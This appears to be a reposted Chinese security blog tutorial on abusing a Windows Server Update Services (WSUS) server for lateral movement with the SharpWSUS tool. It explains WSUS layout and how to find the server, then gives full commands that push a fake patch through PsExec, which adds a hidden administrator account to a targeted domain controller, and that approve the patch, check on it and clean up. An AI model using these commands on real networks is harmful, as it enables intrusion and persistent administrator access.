使用SharpWSUS通过WSUS横向移动
2023-4-5 08:10:13
Author: 系统安全运维(查看原文)
阅读量:14
收藏
WSUS介绍
WSUS 是一种 Microsoft 解决方案,使管理员可以以扩展的方式在整个环境中部署 Microsoft 产品更新和补丁,使用内部服务器而不需要直接连接到Internet。WSUS服务在 Windows 企业环境中极为常见。WSUS架构
通常,WSUS 部署的体系结构非常简单,但是在实际环境中它们以更复杂的方式进行配置。最常见的部署是企业网络中配置一台 WSUS 服务器,此服务器将通过 HTTP 和 HTTPS 与 Microsoft 联系以下载 Microsoft 补丁。下载这些后,WSUS 服务器将在客户端链接 WSUS 服务器时将补丁部署到客户端。WSUS 服务器和客户端之间的通信将在 HTTP 端口 8530 和 HTTPS 端口 8531 上进行。在更复杂的 WSUS 部署中,可能存在一个主 WSUS 服务器通过 Internet 与 Microsoft 通信,然后在内部,主 WSUS 服务器将补丁推送到其他内部 WSUS 服务器,然后将其部署到客户端。在这种情况下,连接到 Internet 的 WSUS 服务器称为上游服务器,而无法访问 Internet 并从上游服务器获取补丁的 WSUS 服务器将称为下游服务器。下面是一个示例图:最常见的部署是一个单一的 WSUS 服务器,将补丁部署到资产中的所有客户端。这种部署意味着环境中的一台服务器可以与 WSUS 管理的所有服务器和客户端进行通信,这使得 WSUS 成为绕过网络隔离的非常有吸引力的目标。定位 WSUS 服务器
可以通过查询以下注册表项找到客户端正在使用的 WSUS 服务器:HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
此密钥将存在于通过 WSUS 管理的任何工作站或服务器上。由于最常见的部署是单个 WSUS 服务器,因此密钥中的服务器很可能与用于关键服务器的服务器相同。这可以通过 SharpWSUS 使用SharpWSUS.exe locate来进行定位:
枚举 WSUS 服务器
SharpWSUS 可用于枚举有关 WSUS 部署的各种详细信息,例如当前服务器管理的计算机、每台计算机上一次签入更新的时间、任何下游服务器和 WSUS 组.横向运动
WSUS 横向移动的一个关键考虑因素是无法控制客户端何时链接服务器。但是一般客户端会定期检查补丁,例如每天,也可能每月一次的补丁日才会安装补丁。如果优先级足够高,某些客户端可能会被配置为立即安装补丁。滥用 WSUS 的第一步是创建恶意补丁,创建补丁时,可以通过 SharpWSUS 中的命令行配置各种参数值。有效负载必须是 Microsoft 签名的二进制文件,并且必须指向磁盘上的某个位置,以便 WSUS 服务器获取该二进制文件。那么在 WSUS中我们需要绕过的是有效负载必须是 Microsoft 签名的二进制文件,这里我们可以使用lolbins等等进行绕过,这里使用的是PsExec.exeSharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe"
/args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123!
/add && net localgroup administrators WSUSDemo /add\"" /title:
"WSUSDemo"
此补丁将添加一个用户名为WSUSDemo的新用户,并加进管理员组。创建修补程序后,它将在 WSUS 控制台中可见。制作的补丁如下图所示:作为补丁创建过程的一部分,补丁中使用的二进制文件也被复制到 WSUS 文件位置并命名为"wuagent.exe"。例如WSUS 内容位置是“C:\UPDATES\WsusContent”,那么二进制文件也将被复制到“C:\UPDATES\wuagent.exe”,WSUS 客户端会从这个文件夹中获取这个二进制文件制作补丁后,接下来的步骤是创建一个组,将目标计算机添加到该组,然后将补丁部署到该组。这是因为 WSUS 修补程序是按 WSUS 组而不是按计算机进行工作的。这意味着要针对特定机器,有必要还需要确保该机器位于没有其他机器的组中。这可以通过以下命令在 SharpWSUS 中使用一个命令来完成:SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127
/computername:bloredc2.blorebank.local /groupname:"Demo Group",
其中updateid GUID 是在 create 命令的输出。
检查组“Demo Group”是否存在,如果不存在则创建它。然后它将域控制器添加到组并获取该组的恶意补丁。在此之后,那么我们需要等待客户端下载并安装补丁。SharpWSUS 可用于枚举更新的状态:SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127
/computername:bloredc2.blorebank.local”,其中updateid与以前相同。
在客户端中我们可以手动检查更新(在实战中我们需要等待目标计算机更新)目标计算机安装补丁后,可以使用以下命令在 SharpWSUS 中执行清理:SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127
/computername:bloredc2.blorebank.local /groupname:”Demo Group”
需要注意的是,补丁二进制“wuagent.exe”将保留在磁盘上,我们需要手动删除。SharpWSUS:https ://github.com/nettitude/SharpWSUS如有侵权,请联系删除
文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjE0NDc5OQ==&mid=2247519249&idx=2&sn=1ca6ad9d9c44e4ae69bdc15e51a39f4b&chksm=c3085f61f47fd67786765c240990ab7a8c90d8d994c3b0db345d1d160b887c391e5161016ab0#rd
如有侵权请联系:admin#unsafe.sh